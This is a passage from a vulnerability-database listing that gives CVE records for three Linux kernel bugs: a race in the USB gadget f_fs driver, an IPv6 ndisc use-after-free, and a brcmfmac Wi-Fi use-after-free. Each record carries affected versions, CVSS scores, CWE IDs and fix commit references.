                "lessThanOrEqual": "5.5",
                "status": "unaffected",
                "version": "5.4.279",
                "versionType": "custom"
              },
              {
                "lessThanOrEqual": "5.11",
                "status": "unaffected",
                "version": "5.10.221",
                "versionType": "custom"
              },
              {
                "lessThanOrEqual": "5.16",
                "status": "unaffected",
                "version": "5.15.162",
                "versionType": "custom"
              },
              {
                "lessThanOrEqual": "6.2",
                "status": "unaffected",
                "version": "6.1.95",
                "versionType": "custom"
              },
              {
                "lessThanOrEqual": "6.7",
                "status": "unaffected",
                "version": "6.6.31",
                "versionType": "custom"
              },
              {
                "lessThanOrEqual": "6.9",
                "status": "unaffected",
                "version": "6.8.10",
                "versionType": "custom"
              },
              {
                "lessThanOrEqual": "*",
                "status": "unaffected",
                "version": "6.9",
                "versionType": "custom"
              }
            ]
          }
        ],
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "HIGH",
              "attackVector": "PHYSICAL",
              "availabilityImpact": "HIGH",
              "baseScore": 5.6,
              "baseSeverity": "MEDIUM",
              "confidentialityImpact": "HIGH",
              "integrityImpact": "NONE",
              "privilegesRequired": "LOW",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:P/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:H",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2024-36894",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-06-03T15:53:00.949597Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "problemTypes": [
          {
            "descriptions": [
              {
                "cweId": "CWE-362",
                "description": "CWE-362 Concurrent Execution using Shared Resource with Improper Synchronization (\u0027Race Condition\u0027)",
                "lang": "en",
                "type": "CWE"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-08-21T16:17:27.715Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T21:55:22.274Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/f71a53148ce34898fef099b75386a3a9f4449311"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/9e72ef59cbe61cd1243857a6418ca92104275867"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/e500b1c4e29ad0bd1c1332a1eaea2913627a92dd"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/3613e5023f09b3308545e9d1acda86017ebd418a"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/a0fdccb1c9e027e3195f947f61aa87d6d0d2ea14"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/73c05ad46bb4fbbdb346004651576d1c8dbcffbb"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/d7461830823242702f5d84084bcccb25159003f4"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/24729b307eefcd7c476065cd7351c1a018082c19"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:53:58.433Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-355557.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/usb/gadget/function/f_fs.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "f71a53148ce34898fef099b75386a3a9f4449311",
              "status": "affected",
              "version": "2e4c7553cd6f9c68bb741582dcb614edcbeca70f",
              "versionType": "git"
            },
            {
              "lessThan": "9e72ef59cbe61cd1243857a6418ca92104275867",
              "status": "affected",
              "version": "2e4c7553cd6f9c68bb741582dcb614edcbeca70f",
              "versionType": "git"
            },
            {
              "lessThan": "e500b1c4e29ad0bd1c1332a1eaea2913627a92dd",
              "status": "affected",
              "version": "2e4c7553cd6f9c68bb741582dcb614edcbeca70f",
              "versionType": "git"
            },
            {
              "lessThan": "3613e5023f09b3308545e9d1acda86017ebd418a",
              "status": "affected",
              "version": "2e4c7553cd6f9c68bb741582dcb614edcbeca70f",
              "versionType": "git"
            },
            {
              "lessThan": "a0fdccb1c9e027e3195f947f61aa87d6d0d2ea14",
              "status": "affected",
              "version": "2e4c7553cd6f9c68bb741582dcb614edcbeca70f",
              "versionType": "git"
            },
            {
              "lessThan": "73c05ad46bb4fbbdb346004651576d1c8dbcffbb",
              "status": "affected",
              "version": "2e4c7553cd6f9c68bb741582dcb614edcbeca70f",
              "versionType": "git"
            },
            {
              "lessThan": "d7461830823242702f5d84084bcccb25159003f4",
              "status": "affected",
              "version": "2e4c7553cd6f9c68bb741582dcb614edcbeca70f",
              "versionType": "git"
            },
            {
              "lessThan": "24729b307eefcd7c476065cd7351c1a018082c19",
              "status": "affected",
              "version": "2e4c7553cd6f9c68bb741582dcb614edcbeca70f",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/usb/gadget/function/f_fs.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "3.15"
            },
            {
              "lessThan": "3.15",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.317",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.279",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.221",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.162",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.95",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.31",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.8.*",
              "status": "unaffected",
              "version": "6.8.10",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.9",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.317",
                  "versionStartIncluding": "3.15",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.279",
                  "versionStartIncluding": "3.15",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.221",
                  "versionStartIncluding": "3.15",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.162",
                  "versionStartIncluding": "3.15",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.95",
                  "versionStartIncluding": "3.15",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.31",
                  "versionStartIncluding": "3.15",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8.10",
                  "versionStartIncluding": "3.15",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9",
                  "versionStartIncluding": "3.15",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nusb: gadget: f_fs: Fix race between aio_cancel() and AIO request complete\n\nFFS based applications can utilize the aio_cancel() callback to dequeue\npending USB requests submitted to the UDC.  There is a scenario where the\nFFS application issues an AIO cancel call, while the UDC is handling a\nsoft disconnect.  For a DWC3 based implementation, the callstack looks\nlike the following:\n\n    DWC3 Gadget                               FFS Application\ndwc3_gadget_soft_disconnect()              ...\n  --\u003e dwc3_stop_active_transfers()\n    --\u003e dwc3_gadget_giveback(-ESHUTDOWN)\n      --\u003e ffs_epfile_async_io_complete()   ffs_aio_cancel()\n        --\u003e usb_ep_free_request()            --\u003e usb_ep_dequeue()\n\nThere is currently no locking implemented between the AIO completion\nhandler and AIO cancel, so the issue occurs if the completion routine is\nrunning in parallel to an AIO cancel call coming from the FFS application.\nAs the completion call frees the USB request (io_data-\u003ereq) the FFS\napplication is also referencing it for the usb_ep_dequeue() call.  This can\nlead to accessing a stale/hanging pointer.\n\ncommit b566d38857fc (\"usb: gadget: f_fs: use io_data-\u003estatus consistently\")\nrelocated the usb_ep_free_request() into ffs_epfile_async_io_complete().\nHowever, in order to properly implement locking to mitigate this issue, the\nspinlock can\u0027t be added to ffs_epfile_async_io_complete(), as\nusb_ep_dequeue() (if successfully dequeuing a USB request) will call the\nfunction driver\u0027s completion handler in the same context.  Hence, leading\ninto a deadlock.\n\nFix this issue by moving the usb_ep_free_request() back to\nffs_user_copy_worker(), and ensuring that it explicitly sets io_data-\u003ereq\nto NULL after freeing it within the ffs-\u003eeps_lock.  This resolves the race\ncondition above, as the ffs_aio_cancel() routine will not continue\nattempting to dequeue a request that has already been freed, or the\nffs_user_copy_work() not freeing the USB request until the AIO cancel is\ndone referencing it.\n\nThis fix depends on\n  commit b566d38857fc (\"usb: gadget: f_fs: use io_data-\u003estatus\n  consistently\")"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:16:32.967Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/f71a53148ce34898fef099b75386a3a9f4449311"
        },
        {
          "url": "https://git.kernel.org/stable/c/9e72ef59cbe61cd1243857a6418ca92104275867"
        },
        {
          "url": "https://git.kernel.org/stable/c/e500b1c4e29ad0bd1c1332a1eaea2913627a92dd"
        },
        {
          "url": "https://git.kernel.org/stable/c/3613e5023f09b3308545e9d1acda86017ebd418a"
        },
        {
          "url": "https://git.kernel.org/stable/c/a0fdccb1c9e027e3195f947f61aa87d6d0d2ea14"
        },
        {
          "url": "https://git.kernel.org/stable/c/73c05ad46bb4fbbdb346004651576d1c8dbcffbb"
        },
        {
          "url": "https://git.kernel.org/stable/c/d7461830823242702f5d84084bcccb25159003f4"
        },
        {
          "url": "https://git.kernel.org/stable/c/24729b307eefcd7c476065cd7351c1a018082c19"
        }
      ],
      "title": "usb: gadget: f_fs: Fix race between aio_cancel() and AIO request complete",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-36894",
    "datePublished": "2024-05-30T15:28:59.689Z",
    "dateReserved": "2024-05-30T15:25:07.066Z",
    "dateUpdated": "2026-05-12T11:53:58.433Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2025-21760 (GCVE-0-2025-21760)

Vulnerability from cvelistv5 – Published: 2025-02-27 02:18 – Updated: 2026-05-12 12:03

Title

ndisc: extend RCU protection in ndisc_send_skb()

Summary

In the Linux kernel, the following vulnerability has been resolved: ndisc: extend RCU protection in ndisc_send_skb() ndisc_send_skb() can be called without RTNL or RCU held. Acquire rcu_read_lock() earlier, so that we can use dev_net_rcu() and avoid a potential UAF.

Severity ?

7.8 (High)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CWE

CWE-416 - Use After Free

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/10a1f3fece2f0d23a…
https://git.kernel.org/stable/c/4d576202b90b1b95a…
https://git.kernel.org/stable/c/e24d225e4cb8cf108…
https://git.kernel.org/stable/c/a9319d800b5701e7f…
https://git.kernel.org/stable/c/ae38982f521621c21…
https://git.kernel.org/stable/c/789230e5a8c109730…
https://git.kernel.org/stable/c/04e05112f10354ffc…
https://git.kernel.org/stable/c/ed6ae1f325d3c4396…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 1762f7e88eb34f653b4a915be99a102e347dd45e , < 10a1f3fece2f0d23a3a618b72b2b4e6f408ef7d1 (git) Affected: 1762f7e88eb34f653b4a915be99a102e347dd45e , < 4d576202b90b1b95a7c428a80b536f91b8201bcc (git) Affected: 1762f7e88eb34f653b4a915be99a102e347dd45e , < e24d225e4cb8cf108bde00b76594499b98f0a74d (git) Affected: 1762f7e88eb34f653b4a915be99a102e347dd45e , < a9319d800b5701e7f5e3fa71a5b7c4831fc20d6d (git) Affected: 1762f7e88eb34f653b4a915be99a102e347dd45e , < ae38982f521621c216fc2f5182cd091f4734641d (git) Affected: 1762f7e88eb34f653b4a915be99a102e347dd45e , < 789230e5a8c1097301afc802e242c79bc8835c67 (git) Affected: 1762f7e88eb34f653b4a915be99a102e347dd45e , < 04e05112f10354ffc3bb6cc796d553bab161594c (git) Affected: 1762f7e88eb34f653b4a915be99a102e347dd45e , < ed6ae1f325d3c43966ec1b62ac1459e2b8e45640 (git)
Linux	Linux	Affected: 2.6.26 Unaffected: 0 , < 2.6.26 (semver) Unaffected: 5.4.291 , ≤ 5.4.* (semver) Unaffected: 5.10.235 , ≤ 5.10.* (semver) Unaffected: 5.15.179 , ≤ 5.15.* (semver) Unaffected: 6.1.129 , ≤ 6.1.* (semver) Unaffected: 6.6.79 , ≤ 6.6.* (semver) Unaffected: 6.12.16 , ≤ 6.12.* (semver) Unaffected: 6.13.4 , ≤ 6.13.* (semver) Unaffected: 6.14 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "LOW",
              "attackVector": "LOCAL",
              "availabilityImpact": "HIGH",
              "baseScore": 7.8,
              "baseSeverity": "HIGH",
              "confidentialityImpact": "HIGH",
              "integrityImpact": "HIGH",
              "privilegesRequired": "LOW",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2025-21760",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2025-02-27T17:57:40.416234Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "problemTypes": [
          {
            "descriptions": [
              {
                "cweId": "CWE-416",
                "description": "CWE-416 Use After Free",
                "lang": "en",
                "type": "CWE"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2025-02-27T18:02:27.327Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T19:37:05.973Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/05/msg00030.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00028.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T12:03:40.715Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "net/ipv6/ndisc.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "10a1f3fece2f0d23a3a618b72b2b4e6f408ef7d1",
              "status": "affected",
              "version": "1762f7e88eb34f653b4a915be99a102e347dd45e",
              "versionType": "git"
            },
            {
              "lessThan": "4d576202b90b1b95a7c428a80b536f91b8201bcc",
              "status": "affected",
              "version": "1762f7e88eb34f653b4a915be99a102e347dd45e",
              "versionType": "git"
            },
            {
              "lessThan": "e24d225e4cb8cf108bde00b76594499b98f0a74d",
              "status": "affected",
              "version": "1762f7e88eb34f653b4a915be99a102e347dd45e",
              "versionType": "git"
            },
            {
              "lessThan": "a9319d800b5701e7f5e3fa71a5b7c4831fc20d6d",
              "status": "affected",
              "version": "1762f7e88eb34f653b4a915be99a102e347dd45e",
              "versionType": "git"
            },
            {
              "lessThan": "ae38982f521621c216fc2f5182cd091f4734641d",
              "status": "affected",
              "version": "1762f7e88eb34f653b4a915be99a102e347dd45e",
              "versionType": "git"
            },
            {
              "lessThan": "789230e5a8c1097301afc802e242c79bc8835c67",
              "status": "affected",
              "version": "1762f7e88eb34f653b4a915be99a102e347dd45e",
              "versionType": "git"
            },
            {
              "lessThan": "04e05112f10354ffc3bb6cc796d553bab161594c",
              "status": "affected",
              "version": "1762f7e88eb34f653b4a915be99a102e347dd45e",
              "versionType": "git"
            },
            {
              "lessThan": "ed6ae1f325d3c43966ec1b62ac1459e2b8e45640",
              "status": "affected",
              "version": "1762f7e88eb34f653b4a915be99a102e347dd45e",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "net/ipv6/ndisc.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "2.6.26"
            },
            {
              "lessThan": "2.6.26",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.291",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.235",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.179",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.129",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.79",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.12.*",
              "status": "unaffected",
              "version": "6.12.16",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.13.*",
              "status": "unaffected",
              "version": "6.13.4",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.14",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.291",
                  "versionStartIncluding": "2.6.26",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.235",
                  "versionStartIncluding": "2.6.26",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.179",
                  "versionStartIncluding": "2.6.26",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.129",
                  "versionStartIncluding": "2.6.26",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.79",
                  "versionStartIncluding": "2.6.26",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12.16",
                  "versionStartIncluding": "2.6.26",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.13.4",
                  "versionStartIncluding": "2.6.26",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.14",
                  "versionStartIncluding": "2.6.26",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nndisc: extend RCU protection in ndisc_send_skb()\n\nndisc_send_skb() can be called without RTNL or RCU held.\n\nAcquire rcu_read_lock() earlier, so that we can use dev_net_rcu()\nand avoid a potential UAF."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T21:05:51.984Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/10a1f3fece2f0d23a3a618b72b2b4e6f408ef7d1"
        },
        {
          "url": "https://git.kernel.org/stable/c/4d576202b90b1b95a7c428a80b536f91b8201bcc"
        },
        {
          "url": "https://git.kernel.org/stable/c/e24d225e4cb8cf108bde00b76594499b98f0a74d"
        },
        {
          "url": "https://git.kernel.org/stable/c/a9319d800b5701e7f5e3fa71a5b7c4831fc20d6d"
        },
        {
          "url": "https://git.kernel.org/stable/c/ae38982f521621c216fc2f5182cd091f4734641d"
        },
        {
          "url": "https://git.kernel.org/stable/c/789230e5a8c1097301afc802e242c79bc8835c67"
        },
        {
          "url": "https://git.kernel.org/stable/c/04e05112f10354ffc3bb6cc796d553bab161594c"
        },
        {
          "url": "https://git.kernel.org/stable/c/ed6ae1f325d3c43966ec1b62ac1459e2b8e45640"
        }
      ],
      "title": "ndisc: extend RCU protection in ndisc_send_skb()",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2025-21760",
    "datePublished": "2025-02-27T02:18:13.496Z",
    "dateReserved": "2024-12-29T08:45:45.761Z",
    "dateUpdated": "2026-05-12T12:03:40.715Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-35811 (GCVE-0-2024-35811)

Vulnerability from cvelistv5 – Published: 2024-05-17 13:23 – Updated: 2026-05-12 11:52

Title

wifi: brcmfmac: Fix use-after-free bug in brcmf_cfg80211_detach

Summary

In the Linux kernel, the following vulnerability has been resolved: wifi: brcmfmac: Fix use-after-free bug in brcmf_cfg80211_detach This is the candidate patch of CVE-2023-47233 : https://nvd.nist.gov/vuln/detail/CVE-2023-47233 In brcm80211 driver,it starts with the following invoking chain to start init a timeout worker: ->brcmf_usb_probe ->brcmf_usb_probe_cb ->brcmf_attach ->brcmf_bus_started ->brcmf_cfg80211_attach ->wl_init_priv ->brcmf_init_escan ->INIT_WORK(&cfg->escan_timeout_work, brcmf_cfg80211_escan_timeout_worker); If we disconnect the USB by hotplug, it will call brcmf_usb_disconnect to make cleanup. The invoking chain is : brcmf_usb_disconnect ->brcmf_usb_disconnect_cb ->brcmf_detach ->brcmf_cfg80211_detach ->kfree(cfg); While the timeout woker may still be running. This will cause a use-after-free bug on cfg in brcmf_cfg80211_escan_timeout_worker. Fix it by deleting the timer and canceling the worker in brcmf_cfg80211_detach. [arend.vanspriel@broadcom.com: keep timer delete as is and cancel work just before free]

Severity ?

No CVSS data available.

Assigner

Linux

References

9 references

URL	Tags
https://git.kernel.org/stable/c/202c503935042272e…
https://git.kernel.org/stable/c/8e3f03f4ef7c36091…
https://git.kernel.org/stable/c/bacb8c3ab86dcd760…
https://git.kernel.org/stable/c/8c36205123dc57349…
https://git.kernel.org/stable/c/0b812f706fd7090be…
https://git.kernel.org/stable/c/190794848e2b9d15d…
https://git.kernel.org/stable/c/6678a1e7d896c0003…
https://git.kernel.org/stable/c/0a7591e14a8da794d…
https://git.kernel.org/stable/c/0f7352557a35ab788…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: e756af5b30b008f6ffcfebf8ad0b477f6f225b62 , < 202c503935042272e2f9e1bb549d5f69a8681169 (git) Affected: e756af5b30b008f6ffcfebf8ad0b477f6f225b62 , < 8e3f03f4ef7c36091f46e7349096efb5a2cdb3a1 (git) Affected: e756af5b30b008f6ffcfebf8ad0b477f6f225b62 , < bacb8c3ab86dcd760c15903fcee58169bc3026aa (git) Affected: e756af5b30b008f6ffcfebf8ad0b477f6f225b62 , < 8c36205123dc57349b59b4f1a2301eb278cbc731 (git) Affected: e756af5b30b008f6ffcfebf8ad0b477f6f225b62 , < 0b812f706fd7090be74812101114a0e165b36744 (git) Affected: e756af5b30b008f6ffcfebf8ad0b477f6f225b62 , < 190794848e2b9d15de92d502b6ac652806904f5a (git) Affected: e756af5b30b008f6ffcfebf8ad0b477f6f225b62 , < 6678a1e7d896c00030b31491690e8ddc9a90767a (git) Affected: e756af5b30b008f6ffcfebf8ad0b477f6f225b62 , < 0a7591e14a8da794d0b93b5d1c6254ccb23adacb (git) Affected: e756af5b30b008f6ffcfebf8ad0b477f6f225b62 , < 0f7352557a35ab7888bc7831411ec8a3cbe20d78 (git)
Linux	Linux	Affected: 3.7 Unaffected: 0 , < 3.7 (semver) Unaffected: 4.19.312 , ≤ 4.19.* (semver) Unaffected: 5.4.274 , ≤ 5.4.* (semver) Unaffected: 5.10.215 , ≤ 5.10.* (semver) Unaffected: 5.15.154 , ≤ 5.15.* (semver) Unaffected: 6.1.84 , ≤ 6.1.* (semver) Unaffected: 6.6.24 , ≤ 6.6.* (semver) Unaffected: 6.7.12 , ≤ 6.7.* (semver) Unaffected: 6.8.3 , ≤ 6.8.* (semver) Unaffected: 6.9 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T03:21:47.516Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/202c503935042272e2f9e1bb549d5f69a8681169"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/8e3f03f4ef7c36091f46e7349096efb5a2cdb3a1"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/bacb8c3ab86dcd760c15903fcee58169bc3026aa"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/8c36205123dc57349b59b4f1a2301eb278cbc731"
          },
          {
            "tags": [
              "x_transferred"
            ],
